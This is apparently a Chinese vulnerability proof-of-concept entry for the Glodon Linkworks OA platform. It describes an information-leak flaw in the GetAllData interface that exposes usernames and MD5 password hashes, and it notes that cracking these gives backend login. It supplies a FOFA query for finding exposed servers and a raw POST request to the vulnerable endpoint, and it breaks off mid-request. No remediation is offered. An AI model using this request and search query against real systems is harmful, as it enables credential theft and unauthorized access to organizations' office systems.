广联达Linkworks GetAllData 信息泄露

简介

办公管理系统是LinkWorks的一个有机组成部分，它在LinkWorks的支持下，通过计算机网络处理企业日常运转的各种办公事务。办公管理系统是部门之间、员工之间各种办公事务的交流窗口，它代替了传统的办公室打印、分发资料等繁琐工作，实现了真正意义上的无纸化办公，降低了办公费用，大大地提高了工作效率。办公管理系统主要包括考勤管理、物品管理、会议管理、车辆管理、图书资料管理等。

漏洞描述

广联达-Linkworks协同办公管理平台 GetAllData接口处存在信息泄露漏洞，恶意可获取用户名密码等敏感信息。破解密码md5可登录后台。

影响版本

广联达 Linkworks办公OA
Fofa:

body="Services/Identification/login.ashx" || header="Services/Identification/login.ashx" || banner="Services/Identification/login.ashx"

漏洞复现

POST /WebService/Lk6SyncService/MrMMSSvc/DataSvc.asmx/GetAllData HTTP/1.1
Host: 
Cookie: ASP.NET_SessionId=wfrr3gtmhgxejkczfbb1hxkr; GTP_IdServer_LangID=